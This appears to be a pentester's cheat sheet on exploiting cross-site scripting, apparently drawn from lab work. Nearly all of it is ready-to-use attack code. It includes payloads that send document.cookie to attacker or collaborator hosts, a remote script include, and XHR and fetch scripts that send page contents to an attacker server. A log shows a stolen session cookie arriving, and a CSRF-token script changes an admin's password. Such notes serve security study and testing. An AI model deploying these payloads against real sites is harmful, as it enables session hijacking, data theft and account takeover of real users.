XSS Attacks

Cross-Site Scripting is among the most common vulnerabilities.

Data Exfiltration

Having found a valid endpoint of parameter which is vulnerable for XSS, its time to start looking for data or cookies. We can extract cookies with many payloads like:

// Steal cookie to collaborator
<script>fetch('https://burpcollaborator.net',{method:'POST',mode:'no-cors',body:document.cookie})</script>

// Steal cookies to server
<script>fetch('https://10.10.15.51:443/x?c='+document.cookie)</script>

// Cookie steal JS
JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie

// Reflected XSS into HTML
<script>document.location='https://COLLABORATOR.com?c='+document.cookie</script>

// Angular DOM XSS
{{$on.constructor('document.location="https://COLLABORATOR.com?c="+document.cookie')()}}

// Document.location
document.location='https://burp-collab.x.com/cookiestealer.php?c='+document.cookie;

// Document.write
/?evil='/><script>document.write('<img src="https://exploit.com/steal.MY?cookie=' document.cookie '" />')</script>

However if the HTTPOnly is set cookies in the document.cookie will not exist. We can then look for data exfiltration. We can place a simple payload that will get users to run a a script we host.

Examples Set-Cookie

# No HttpOnly set
Set-Cookie: PHPSESSID=0ignprc8off1f5e8e3bbe8fg4f; path=/

# HtpOnlye set
Set-Cookie: PHPSESSID=0ignprc8off1f5e8e3bbe8fg4f; path=/; HttpOnly

Download and execute JS from server

// XSS place on target
<script src="https://myserver.xyz/exploit"></script>

On our server we host a script that will make a GET request to the /home.php page and returns the data in base64 format.

// XMLHttpRequest
var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', true);
xhr.withCredentials = true;
xhr.onload = () => {
    var exfil = new XMLHttpRequest();
    exfil.open("POST", "https://10.10.14.147:4443/log", true);
    exfil.setRequestHeader("Content-Type", "application/json");
    exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
};
xhr.send();

Or the equivalent using fetch

// fetch
fetch('/home.php', {
    credentials: 'include'
}).then(r => r.text()).then(d => fetch('https://10.10.14.144:4443/log', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        data: btoa(d)
    })
}))

It will return the base64 encoded home.php page which we can decode and see the contents. If the HttpOnly attribute would not be set we could get the cookie like.

var exfil = new XMLHttpRequest();
exfil.open("POST", "https://10.10.14.147:4443/log", true);
exfil.setRequestHeader("Content-Type", "application/json");
exfil.send(JSON.stringify({data: document.cookie}));

Receiving the cookie

ase) PS C:\Users\mczen> python https-server.py
Serving HTTPS on 0.0.0.0 port 4443 (https://0.0.0.0:4443/) ...
10.129.233.62 - - [17/Feb/2026 15:39:09] "OPTIONS /log HTTP/1.1" 200 -
10.129.233.62 - - [17/Feb/2026 15:39:10] [i] POST body: {"data":"PHPSESSID=jnvbfu01ejd820nm98eggq25dt"}

Account Takeover

We can perform actions as well in context of users that triggered the XSS. For example we could make a GET request to get a CSRF token and then use the token to change the password.

// Get CSRF token, then change password
var x=new XMLHttpRequest();
x.open('GET','/home.php',true);
x.withCredentials=true;
x.onload=()=>{
    var t=x.responseText.match(/csrf_token" value="(.*?)"/)[1];
    var a=new XMLHttpRequest();
    a.open('POST','/home.php',true);
    a.withCredentials=true;
    a.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
    a.send('username=admin&email=admin@vulnerablesite.htb&password=hacked123&csrf_token='+t);
};
x.send();

Accessing an API in victim context

Searching for endpoints in pages we can view in the victims context we might be able to find API endpoint. For example in the page admin.php, we get the data with:

var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php', true);
xhr.withCredentials = true;
xhr.onload = () => {
    var exfil = new XMLHttpRequest();
    exfil.open("POST", "https://10.10.14.144:4443/log", true);
    exfil.setRequestHeader("Content-Type", "application/json");
    exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
};
xhr.send();

Here we found an API endpoint in a function located at https://api.mcz3n.com/. As we are not in the same origin, the Same-Origin policy is preventing us to access the API endpoint. If the function does not have credentials: 'include' set we have the match the parameters we found in the JS function and send it without credentials.

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.mcz3n.com/v1/sessions', true);
xhr.onload = () => {
    var exfil = new XMLHttpRequest();
    exfil.open("POST", "https://10.10.14.144:4443/log", true);
    exfil.setRequestHeader("Content-Type", "application/json");
    exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
};
xhr.send();